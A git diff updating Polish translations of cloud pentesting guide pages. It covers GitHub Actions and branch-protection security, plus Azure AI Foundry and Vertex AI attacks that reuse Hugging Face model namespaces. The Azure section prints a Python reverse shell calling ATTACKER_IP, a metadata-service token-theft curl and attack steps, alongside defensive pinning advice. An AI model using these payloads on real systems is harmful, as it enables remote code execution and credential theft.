dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- To są **API Endpoints dla Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień Aplikacji będzie ona miała dostęp do niektórych z nich. +- Możesz zobaczyć zainstalowane aplikacje w organizacji w _https://github.com/organizations/\/settings/installations_ -Kilka rekomendacji bezpieczeństwa: +Kilka zaleceń bezpieczeństwa: -- GitHub App powinien **take actions independent of a user** (chyba że aplikacja używa [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Aby utrzymać user-to-server access tokens bezpieczniejszymi, możesz użyć access tokens, które wygasają po 8 godzinach, oraz refresh tokena, który można wymienić na nowy access token. Więcej informacji w "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Upewnij się, że GitHub App integruje się ze **specific repositories**. -- GitHub App powinien **connect to a personal account or an organisation**. +- GitHub App powinien **wykonywać działania niezależne od użytkownika** (chyba że aplikacja używa [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) tokena). Aby zabezpieczyć tokeny dostępu user-to-server, możesz użyć tokenów dostępu, które wygasają po 8 godzinach, oraz refresh tokena, który można wymienić na nowy token dostępu. Aby uzyskać więcej informacji, zobacz "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Upewnij się, że GitHub App integruje się z **konkretnymi repozytoriami**. +- GitHub App powinien **łączyć się z kontem osobistym lub organizacją**. - Nie oczekuj, że GitHub App będzie wiedział i robił wszystko, co użytkownik potrafi. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Jednak GitHub App może użyć [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _and_ wykonywania innych rzeczy. -- Nie twórz GitHub App jeśli chcesz _only_ działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może. -- Jeśli używasz swojej aplikacji z Github Actions i chcesz modyfikować workflow files, musisz uwierzytelnić się w imieniu użytkownika za pomocą OAuth tokena, który zawiera scope `workflow`. Użytkownik musi mieć admin lub write permission do repo, które zawiera workflow file. Więcej informacji w "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** w [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- **Nie używaj GitHub App**, jeśli potrzebujesz tylko usługi "Login with GitHub". Jednak GitHub App może używać [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań. +- Nie twórz GitHub App jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić. +- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki workflow, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth zawierającego scope `workflow`. Użytkownik musi mieć uprawnienia admin lub write do repozytorium, które zawiera plik workflow. Aby uzyskać więcej informacji, zobacz "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Więcej** informacji [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -To **nie jest sposób na uwierzytelnianie w github**, ale **złośliwy** Github Action może uzyskać **unauthorised access to github** i **w zależności** od **privileges** nadanych Action może wykonać kilka **różnych ataków**. Zobacz niżej po więcej informacji. +To **nie jest sposób uwierzytelniania w github**, ale **złośliwe** Github Action może uzyskać **nieautoryzowany dostęp do github** i **w zależności** od **uprawnień** przyznanych Action może zostać przeprowadzonych kilka **różnych ataków**. Zobacz poniżej więcej informacji. ## Git Actions -Git actions pozwalają automatyzować **execution of code when an event happen**. Zazwyczaj wykonywany kod jest **jakoś powiązany z kodem repozytorium** (np. budowanie docker container lub sprawdzenie, że PR nie zawiera sekretów). +Git actions pozwalają automatyzować **wykonywanie kodu, gdy zdarzenie ma miejsce**. Zazwyczaj wykonywany kod jest **jakoś powiązany z kodem repozytorium** (np. budowanie obrazu docker lub sprawdzenie, czy PR nie zawiera sekretów). -### Configuration +### Konfiguracja -W _https://github.com/organizations/\/settings/actions_ można sprawdzić **configuration of the github actions** dla organizacji. +W _https://github.com/organizations/\/settings/actions_ można sprawdzić **konfigurację github actions** dla organizacji. -Można całkowicie wyłączyć użycie github actions, **allow all github actions**, lub tylko zezwolić na określone actions. +Można całkowicie zablokować użycie github actions, **zezwolić na wszystkie github actions**, lub zezwolić tylko na określone actions. -Można także skonfigurować **who needs approval to run a Github Action** oraz **permissions of the GITHUB_TOKEN** dla Github Action podczas jego uruchomienia. +Można też skonfigurować **kto wymaga zatwierdzenia do uruchamiania Github Action** oraz **uprawnienia GITHUB_TOKEN** Github Action podczas jego uruchomienia. ### Git Secrets -Github Action zwykle potrzebują jakichś sekretów, by wchodzić w interakcję z github lub aplikacjami third party. Aby **uniknąć umieszczania ich w clear-text** w repo, github pozwala umieścić je jako **Secrets**. +Github Action zwykle potrzebują jakiegoś rodzaju sekretów do interakcji z github lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci jawnym w repo**, github pozwala umieścić je jako **Secrets**. -Te secrets mogą być skonfigurowane **dla repo lub dla całej organization**. Następnie, aby **Action miał dostęp do secret** musisz zadeklarować go w następujący sposób: +Te sekrety mogą być skonfigurowane **dla repo lub dla całej organizacji**. Następnie, aby **Action mogła uzyskać dostęp do secretu**, musisz zadeklarować go w taki sposób: ```yaml steps: - name: Hello world action @@ -168,90 +168,91 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **can only be accessed from the Github Actions** które je zadeklarowały. +> Secrets **mogą być dostępne tylko z poziomu Github Actions**, które je zadeklarowały. -> Po skonfigurowaniu w repo lub w organizacji **użytkownicy github nie będą już mieli do nich dostępu**, będą mogli jedynie je **zmieniać**. +> Po skonfigurowaniu w repo lub w organizations **users of github nie będą już mieli do nich dostępu**, będą mogli jedynie je **zmieniać**. -W związku z tym, **jedynym sposobem na kradzież github secrets jest uzyskanie dostępu do maszyny wykonującej Github Action** (w takim scenariuszu będziesz mieć dostęp tylko do secrets zadeklarowanych dla tej Action). +W związku z tym **jedynym sposobem na kradzież github secrets jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w takim scenariuszu będziesz mieć dostęp tylko do secrets zadeklarowanych dla tej Action). -### Środowiska Git +### Git Environments -Github pozwala tworzyć **environments**, gdzie możesz przechowywać **secrets**. Następnie możesz dać github action dostęp do secrets wewnątrz environment przy użyciu czegoś takiego: +Github pozwala tworzyć **environments**, w których możesz zapisać **secrets**. Następnie możesz dać github action dostęp do secrets znajdujących się w environment za pomocą czegoś takiego: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -Additionally, environment protections include: -- **Required reviewers**: blokuje joby kierujące do environment aż do zatwierdzenia. Włącz **Prevent self-review**, aby egzekwować zasadę czterech oczu przy samym zatwierdzeniu. -- **Deployment branches and tags**: ogranicza, które branches/tags mogą deployować do environment. Lepiej wybierać konkretne branches/tags i upewnić się, że te branches są chronione. Uwaga: opcja "Protected branches only" odnosi się do klasycznych zabezpieczeń branchy i może nie zachowywać się zgodnie z oczekiwaniami przy użyciu rulesets. -- **Wait timer**: opóźnia deployments o konfigurowalny okres. +Możesz skonfigurować environment tak, aby był **dostępny** dla **wszystkich branches** (domyślnie), **tylko chronionych** branches lub **określić**, które branches mogą mieć do niego dostęp.\ +Dodatkowo, zabezpieczenia environment obejmują: +- **Required reviewers**: blokują joby kierujące deploy do environment aż do momentu zatwierdzenia. Włącz **Prevent self-review**, aby wymusić zasadę czterech oczu przy samym zatwierdzeniu. +- **Deployment branches and tags**: ograniczają, które branches/tags mogą deployować do environment. Preferuj wybór konkretnych branches/tags i upewnij się, że te branches są chronione. Uwaga: opcja "Protected branches only" odnosi się do klasycznych protections dla branchy i może nie działać zgodnie z oczekiwaniami, jeśli używasz rulesets. +- **Wait timer**: opóźnia deploymenty o konfigurowalny czas. + +Można też ustawić **liczbę wymaganych reviewów** przed **wykonaniem** **action** wykorzystującej environment lub poczekać pewien **czas** zanim deploymenty będą mogły kontynuować. -Można również ustawić **number of required reviews** przed **executing** **an** **action** używając **environment** lub **wait** pewien **time** zanim zezwoli się na kontynuację deployments. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +A Github Action może być **wykonywana wewnątrz github environment** lub może być wykonywana w **infrastruktury third party** skonfigurowanej przez użytkownika. -Wiele organizacji pozwala uruchamiać Github Actions w **third party infrastructure**, ponieważ zwykle jest to **cheaper**. +Wiele organizacji pozwala uruchamiać Github Actions w **infrastrukturze third party**, ponieważ bywa to **tańsze**. -Możesz wyświetlić listę **self-hosted runners** organizacji pod adresem _https://github.com/organizations/\/settings/actions/runners_ +Możesz **wypisać self-hosted runners** organizacji pod adresem _https://github.com/organizations/\/settings/actions/runners_ -Sposób na znalezienie, które **Github Actions are being executed in non-github infrastructure** to wyszukanie `runs-on: self-hosted` w pliku konfiguracyjnym Github Action yaml. +Sposób, by znaleźć które **Github Actions są uruchamiane w non-github infrastruktury**, to wyszukać `runs-on: self-hosted` w konfiguracji yaml Github Action. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +Nie jest możliwe uruchomienie Github Action organizacji wewnątrz self hosted box innej organizacji, ponieważ **unikalny token jest generowany dla Runnera** podczas jego konfiguracji, aby wiedzieć, do kogo runner należy. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Jeśli custom **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Action **może mieć dostęp do metadata endpoint** i **ukraść token service account**, z którego maszyna korzysta. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Jeśli wszystkie actions (lub złośliwa action) są dozwolone, użytkownik mógłby użyć **złośliwej Github Action**, która **skompromentuje** **container**, w którym jest wykonywana. > [!CAUTION] -> Uruchomienie **malicious Github Action** może zostać wykorzystane przez atakującego do: +> A **złośliwa Github Action** uruchomiona może zostać **wykorzystana** przez atakującego do: > -> - **Steal all the secrets** do których Action ma dostęp -> - **Move laterally** jeśli Action jest uruchomiona w **third party infrastructure**, gdzie token SA używany do uruchomienia maszyny może być dostępny (prawdopodobnie przez metadata service) -> - **Abuse the token** użyty przez **workflow** aby **steal the code of the repo** gdzie Action jest uruchomiona lub **nawet go modify**. +> - **Ukradzenia wszystkich secrets**, do których Action ma dostęp +> - **Poruszania się lateralnie**, jeżeli Action jest uruchamiana w **infrastrukturze third party**, gdzie SA token użyty do uruchomienia maszyny może być dostępny (prawdopodobnie przez metadata service) +> - **Nadużycia tokena** używanego przez **workflow**, aby **ukraść kod repo**, w którym Action jest uruchomiona lub nawet go zmodyfikować. ## Branch Protections -Branch protections mają na celu, aby użytkownicy **nie uzyskali pełnej kontroli nad repozytorium**. Celem jest **wprowadzenie kilku metod ochrony zanim będzie można zapisać kod w danej branch**. +Branch protections są zaprojektowane, aby **nie dawać pełnej kontroli nad repo użytkownikom**. Celem jest **umieszczenie wielu mechanizmów ochronnych zanim będzie można wpisać kod do danego branch**. -Ustawienia **branch protections of a repository** można znaleźć pod adresem _https://github.com/\/\/settings/branches_ +**Branch protections repo** można znaleźć pod adresem _https://github.com/\/\/settings/branches_ > [!NOTE] -> Nie jest **possible to set a branch protection at organization level**. Wszystkie muszą być zadeklarowane w każdym repo. +> Nie jest **możliwe ustawienie branch protection na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repo. -Różne zabezpieczenia można zastosować do branch (np. master): +Różne zabezpieczenia mogą być zastosowane do branch (np. master): -- Możesz **require a PR before merging** (czyli nie możesz bezpośrednio merge'ować kodu do branch). Jeśli to zostanie wybrane, mogą obowiązywać różne inne zabezpieczenia: -- **Require a number of approvals**. Często wymaga się 1 lub 2 dodatkowych osób do zatwierdzenia PR, żeby pojedynczy użytkownik nie mógł bezpośrednio merge'ować kodu. -- **Dismiss approvals when new commits are pushed**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a potem dodać złośliwy kod i go zmerge'ować. -- **Require approval of the most recent reviewable push**. Zapewnia, że wszelkie nowe commity po zatwierdzeniu (włącznie z pushami innych współpracowników) ponownie wywołują review, więc atakujący nie może wprowadzić zmian po zatwierdzeniu i zmerge'ować ich. -- **Require reviews from Code Owners**. Przynajmniej 1 Code Owner repo musi zatwierdzić PR (więc "random" użytkownicy nie mogą go zatwierdzić). -- **Restrict who can dismiss pull request reviews.** Możesz określić osoby lub zespoły uprawnione do cofania review pull requestów. -- **Allow specified actors to bypass pull request requirements**. Wyznaczeni aktorzy będą mogli ominąć poprzednie ograniczenia. -- **Require status checks to pass before merging.** Niektóre checks muszą przejść przed możliwością merge'owania commita (np. GitHub App raportujące wyniki SAST). Tip: powiąż wymagane checks z konkretną GitHub App; w przeciwnym razie każda aplikacja mogłaby sfałszować check przez Checks API, a wiele botów akceptuje dyrektywy skip (np. "@bot-name skip"). -- **Require conversation resolution before merging**. Wszystkie komentarze w kodzie muszą być rozwiązane zanim PR będzie mógł zostać zmerge'owany. -- **Require signed commits**. Commity muszą być podpisane. -- **Require linear history.** Zapobiega pushowaniu merge commitów do pasujących branchy. -- **Include administrators**. Jeśli to nie jest ustawione, admini mogą ominąć ograniczenia. -- **Restrict who can push to matching branches**. Ogranicz, kto może pushować do pasujących branchy oraz kto może tworzyć PR. +- Możesz **wymagać PR przed merge** (tak, aby nie można było bezpośrednio merge’ować kodu do branch). Jeśli to jest wybrane, mogą być aktywne inne zabezpieczenia: +- **Wymagaj liczby zatwierdzeń**. Często wymaga się 1 lub 2 dodatkowych osób do zatwierdzenia PR, żeby pojedynczy użytkownik nie mógł bezpośrednio scalć kodu. +- **Odrzucaj zatwierdzenia gdy pushowane są nowe commity**. W przeciwnym razie użytkownik może zatwierdzić legitny kod, a następnie dodać złośliwy kod i zmerge’ować go. +- **Require approval of the most recent reviewable push**. Zapewnia, że jakiekolwiek nowe commity po zatwierdzeniu (w tym pushy od innych współpracowników) ponownie wyzwalają review, więc atakujący nie może dopchać zmian po zatwierdzeniu i scalić. +- **Wymagaj zatwierdzeń od Code Owners**. Co najmniej 1 code owner repo musi zatwierdzić PR (więc „losowi” użytkownicy nie mogą go zatwierdzić). +- **Ogranicz kto może dismissować pull request reviews.** Możesz określić osoby lub zespoły uprawnione do odrzucania review. +- **Pozwól wskazanym actorom na obejście wymagań pull request.** Ci użytkownicy będą mogli obejść poprzednie ograniczenia. +- **Wymagaj przejścia status checks przed merge.** Niektóre checks muszą przejść przed możliwością merge (np. GitHub App raportujący wyniki SAST). Wskazówka: przypnij wymagane checks do konkretnego GitHub App; w przeciwnym razie dowolna aplikacja może sfałszować check przez Checks API, a wiele botów akceptuje dyrektywy skip (np. "@bot-name skip"). +- **Wymagaj rozwiązania konwersacji przed merge.** Wszystkie komentarze w kodzie muszą być rozwiązane zanim PR może zostać scalony. +- **Wymagaj podpisanych commitów.** Commity muszą być podpisane. +- **Wymagaj linear history.** Zapobiega pushowaniu merge commitów do pasujących branchy. +- **Include administrators.** Jeśli to nie jest ustawione, administratorzy mogą obejść ograniczenia. +- **Ogranicz kto może pushować do pasujących branchy.** Ogranicz kto może wysyłać PR. > [!NOTE] -> Jak widać, nawet jeśli uda ci się zdobyć poświadczenia użytkownika, **repozytoria mogą być chronione uniemożliwiając ci pushowanie kodu do master**, co np. zapobiega skompromitowaniu pipeline'u CI/CD. +> Jak widać, nawet jeśli uda Ci się uzyskać poświadczenia użytkownika, **repo może być chronione i uniemożliwić Ci push kodu do master**, na przykład, by skompromitować pipeline CI/CD. ## Tag Protections -Tagi (np. latest, stable) są domyślnie mutowalne. Aby wymusić zasadę czterech oczu przy aktualizacjach tagów, chroń tagi i połącz zabezpieczenia przez environments i branchy: +Tags (np. latest, stable) są domyślnie mutowalne. Aby wymusić przepływ czterech oczu przy aktualizacjach tagów, chroń tagi i powiąż zabezpieczenia przez environments i branchy: -1) W regule ochrony tagów włącz **Require deployments to succeed** i wymagaj pomyślnego deploymentu do chronionego environment (np. prod). -2) W docelowym environment ogranicz **Deployment branches and tags** do gałęzi release (np. main) i opcjonalnie skonfiguruj **Required reviewers** z włączonym **Prevent self-review**. -3) Na gałęzi release skonfiguruj branch protections tak, aby **Require a pull request**, ustaw approvals ≥ 1 oraz włącz zarówno **Dismiss approvals when new commits are pushed**, jak i **Require approval of the most recent reviewable push**. +1) W regule ochrony tagu włącz **Require deployments to succeed** i wymagaj udanego deploymentu do chronionego environment (np. prod). +2) W docelowym environment ogranicz **Deployment branches and tags** do release branch (np. main) i opcjonalnie skonfiguruj **Required reviewers** z **Prevent self-review**. +3) Na branchu release skonfiguruj branch protections, aby **Require a pull request**, ustaw approvals ≥ 1 oraz włącz zarówno **Dismiss approvals when new commits are pushed**, jak i **Require approval of the most recent reviewable push**. -Taki łańcuch zapobiega temu, by pojedynczy współpracownik mógł przetagować lub force-publishować release'y przez edycję workflow YAML, ponieważ bramy deploymentu są egzekwowane poza workflowami. +Taki łańcuch uniemożliwia jednemu współpracownikowi przetagowanie lub siłowe opublikowanie release’ów przez edycję workflow YAML, ponieważ bramki deploymentu są egzekwowane poza workflow. ## References diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md index d95f03b65..7e7a015f7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -1,18 +1,18 @@ -# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse +# Azure - AI Foundry Post-Exploitation przez ponowne użycie przestrzeni nazw modeli Hugging Face {{#include ../../../banners/hacktricks-training.md}} ## Scenariusz -- Azure AI Foundry Model Catalog zawiera wiele modeli Hugging Face (HF) gotowych do jednoklikowego wdrożenia. -- HF model identifiers are Author/ModelName. Jeśli autor/org HF zostanie usunięty, każdy może ponownie zarejestrować tego autora i opublikować model o tej samej nazwie ModelName pod legacy path. -- Pipelines i katalogi, które pobierają tylko po nazwie (no commit pinning/integrity), rozwiążą się do repozytoriów kontrolowanych przez atakującego. Gdy Azure wdroży model, loader code może wykonać się w środowisku endpointa, przyznając RCE z uprawnieniami tego endpointa. +- Azure AI Foundry Model Catalog zawiera wiele modeli Hugging Face (HF) gotowych do wdrożenia jednym kliknięciem. +- Identyfikatory modeli HF mają postać Author/ModelName. Jeśli autor/org HF zostanie usunięty, każdy może ponownie zarejestrować tego autora i opublikować model o tej samej ModelName pod legacy path. +- Pipelines i katalogi, które pobierają tylko po nazwie (bez commit pinning/integrity), rozwiążą się do repozytoriów kontrolowanych przez atakującego. Gdy Azure wdroży model, loader code może wykonać się w środowisku endpoint, przyznając RCE z uprawnieniami tego endpointu. Common HF takeover cases: -- Ownership deletion: Old path 404 until takeover. -- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. +- Ownership deletion: Stara ścieżka 404 aż do takeover. +- Ownership transfer: Stara ścieżka 307 do nowego autora dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, redirect przestaje działać i repo atakującego serwuje pod legacy path. -## Identyfikacja ponownie używalnych przestrzeni nazw (HF) +## Identyfikacja przestrzeni nazw (HF) możliwych do ponownego użycia ```bash # Check author/org existence curl -I https://huggingface.co/ # 200 exists, 404 deleted/available @@ -21,14 +21,14 @@ curl -I https://huggingface.co/ # 200 exists, 404 deleted/availab curl -I https://huggingface.co// # 307 -> redirect (transfer case), 404 -> deleted until takeover ``` -## Pełny przebieg ataku przeciwko Azure AI Foundry +## Przebieg ataku end-to-end przeciwko Azure AI Foundry -1) W Model Catalog znajdź modele HF, których oryginalni Authorzy zostali usunięci lub przeniesieni (stary Author usunięty) na HF. -2) Zarejestruj ponownie porzuconego Authora na HF i odtwórz ModelName. -3) Opublikuj złośliwe repo z kodem loadera, który wykonuje się przy imporcie lub wymaga trust_remote_code=True. -4) Wdróż legacy Author/ModelName z Azure AI Foundry. Platforma pobierze repo atakującego; loader wykona się wewnątrz kontenera/VM endpointu Azure, co doprowadzi do RCE z uprawnieniami endpointu. +1) W Model Catalog znajdź modele HF, których oryginalni autorzy zostali usunięci lub przeniesieni (stary author usunięty) na HF. +2) Ponownie zarejestruj porzuconego autora na HF i odtwórz ModelName. +3) Opublikuj złośliwe repo z loader code, który wykonuje się podczas importu lub wymaga trust_remote_code=True. +4) Wdróż legacy Author/ModelName z Azure AI Foundry. Platforma pobiera repo atakującego; loader wykonuje się wewnątrz endpoint container/VM w Azure, dając RCE z uprawnieniami endpointu. -Przykładowy fragment payloadu wykonywany przy imporcie (tylko w celach demonstracyjnych): +Przykładowy fragment payloadu wykonywany podczas importu (tylko w celach demonstracyjnych): ```python # __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -46,35 +46,35 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Notatki -- Wdrożenia AI Foundry, które integrują HF, zazwyczaj klonują i importują moduły repozytoriów odwoływane w konfiguracji modelu (np. auto_map), co może wywołać code execution. Niektóre ścieżki wymagają trust_remote_code=True. -- Dostęp zazwyczaj odpowiada uprawnieniom managed identity/service principal endpointu. Traktuj to jako initial access foothold do dostępu do danych i lateral movement w Azure. +- Wdrożenia AI Foundry, które integrują HF, zazwyczaj klonują i importują moduły z repozytoriów wskazane w konfiguracji modelu (np. auto_map), co może spowodować wykonanie kodu. Niektóre ścieżki wymagają trust_remote_code=True. +- Dostęp zwykle odpowiada uprawnieniom managed identity/service principal przypisanym do endpointu. Traktuj to jako punkt zaczepienia do wstępnego dostępu, umożliwiający dostęp do danych i ruch lateralny w Azure. -## Post-Exploitation Tips (Azure Endpoint) +## Wskazówki poeksploatacyjne (Azure Endpoint) -- Wylistuj zmienne środowiskowe i MSI endpoints w poszukiwaniu tokenów: +- Wykonaj enumerację zmiennych środowiskowych i MSI endpoints w poszukiwaniu tokens: ```bash # Azure Instance Metadata Service (inside Azure compute) curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` -- Sprawdź zamontowane pamięci masowe, artefakty modeli oraz dostępne usługi Azure przy użyciu pozyskanego tokena. -- Rozważ persistence poprzez pozostawienie poisoned model artifacts, jeśli platforma ponownie pobiera je z HF. +- Sprawdź zamontowane storage, artefakty modeli i osiągalne usługi Azure przy użyciu pozyskanego tokena. +- Rozważ utrzymanie dostępu przez pozostawienie zatrutych artefaktów modeli, jeśli platforma ponownie pobiera z HF. ## Wskazówki obronne dla użytkowników Azure AI Foundry -- Przypinaj modele do konkretnego commit podczas ładowania z HF: +- Przypinaj modele do konkretnego commita przy ładowaniu z HF: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Twórz lustrzane kopie zweryfikowanych modeli HF w zaufanym wewnętrznym rejestrze i wdrażaj stamtąd. -- Nieustannie skanuj repozytoria kodu oraz defaults/docstrings/notebooks w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj lub przypnij. +- Mirroruj zweryfikowane modele HF do zaufanego wewnętrznego rejestru i wdrażaj je stamtąd. +- Ciągle skanuj repozytoria kodu oraz defaults/docstrings/notebooks pod kątem na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj je lub przypnij. - Zweryfikuj istnienie autora i pochodzenie modelu przed wdrożeniem. -## Heurystyki rozpoznawania (HTTP) +## Heurystyki rozpoznawcze (HTTP) -- Usunięty autor: strona autora 404; stara ścieżka modelu 404 aż do przejęcia. -- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość kontrolowaną przez atakującego. +- Usunięty autor: strona autora zwraca 404; legacy path modelu zwraca 404 aż do przejęcia. +- Przeniesiony model: legacy path zwraca 307 do nowego autora, gdy stary autor nadal istnieje; jeśli stary autor później zostanie usunięty i ponownie zarejestrowany, legacy path będzie serwować zawartość atakującego. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` @@ -86,7 +86,7 @@ curl -I https://huggingface.co// | egrep "^HTTP|^location" ../../pentesting-cloud-methodology.md {{#endref}} -## Referencje +## Źródła - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md index f8e9c6b8f..e1be2efad 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -1,23 +1,23 @@ -# GCP - Vertex AI Post-Exploitation przez ponowne wykorzystanie przestrzeni nazw modeli Hugging Face +# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse {{#include ../../../banners/hacktricks-training.md}} ## Scenariusz -- Vertex AI Model Garden pozwala na bezpośrednie wdrożenie wielu modeli Hugging Face (HF). -- Identyfikatory modeli HF mają postać Author/ModelName. Jeśli autor/organizacja na HF zostanie usunięta, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy stworzyć repo o tej samej nazwie ModelName w historycznej ścieżce. -- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions. +- Vertex AI Model Garden umożliwia bezpośrednie wdrażanie wielu modeli Hugging Face (HF). +- Identyfikatory modeli HF to Author/ModelName. Jeśli autor/org na HF zostanie usunięty, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy utworzyć repo z tym samym ModelName pod legacy path. +- Pipelines, SDKs lub cloud catalogs, które pobierają zasoby tylko po nazwie (bez pinning/integrity), pobiorą repo kontrolowane przez atakującego. Gdy model zostanie wdrożony, loader code z tego repo może wykonać się wewnątrz kontenera endpointa Vertex AI, dając RCE z uprawnieniami endpointa. Dwa typowe przypadki przejęcia na HF: -- Ownership deletion: Stara ścieżka zwraca 404 dopóki ktoś nie zarejestruje ponownie autora i nie opublikuje tego samego ModelName. -- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path. +- Usunięcie własności: stara ścieżka zwraca 404 aż do momentu, gdy ktoś ponownie zarejestruje autora i opublikuje ten sam ModelName. +- Transfer własności: HF zwraca 307 redirecty ze starego Author/ModelName do nowego autora. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany przez atakującego, łańcuch przekierowań zostaje przerwany i repo atakującego odpowiada pod legacy path. -## Identyfikowanie możliwych do ponownego użycia przestrzeni nazw (HF) +## Identyfikacja powtórnie używalnych przestrzeni nazw (HF) - Stary autor usunięty: strona autora zwraca 404; ścieżka modelu może zwracać 404 aż do przejęcia. -- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela, dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, historyczna ścieżka będzie wskazywać na repo atakującego. +- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, legacy path zostanie rozwiązany na repo atakującego. -Szybkie sprawdzenia za pomocą curl: +Szybkie sprawdzenia przy użyciu curl: ```bash # Check author/org existence curl -I https://huggingface.co/ @@ -30,22 +30,22 @@ curl -I https://huggingface.co// ``` ## Przebieg ataku end-to-end przeciwko Vertex AI -1) Odnajdź przestrzenie nazw modeli możliwe do ponownego użycia, które Model Garden oznacza jako deployable: -- Znajdź modele HF w Vertex AI Model Garden, które nadal są oznaczone jako “verified deployable”. -- Sprawdź na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty. +1) Odkryj wielokrotnego użytku przestrzenie nazw modeli, które Model Garden pokazuje jako możliwe do wdrożenia: +- Znajdź modele HF w Vertex AI Model Garden, które nadal pokazują się jako „verified deployable”. +- Zweryfikuj na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty. -2) Zarejestruj ponownie usuniętego autora na HF i odtwórz ten sam ModelName. +2) Ponownie zarejestruj usuniętego autora na HF i odtwórz tę samą ModelName. -3) Opublikuj złośliwe repo. Dołącz kod, który wykona się podczas ładowania modelu. Przykłady, które często wykonują się podczas ładowania modelu 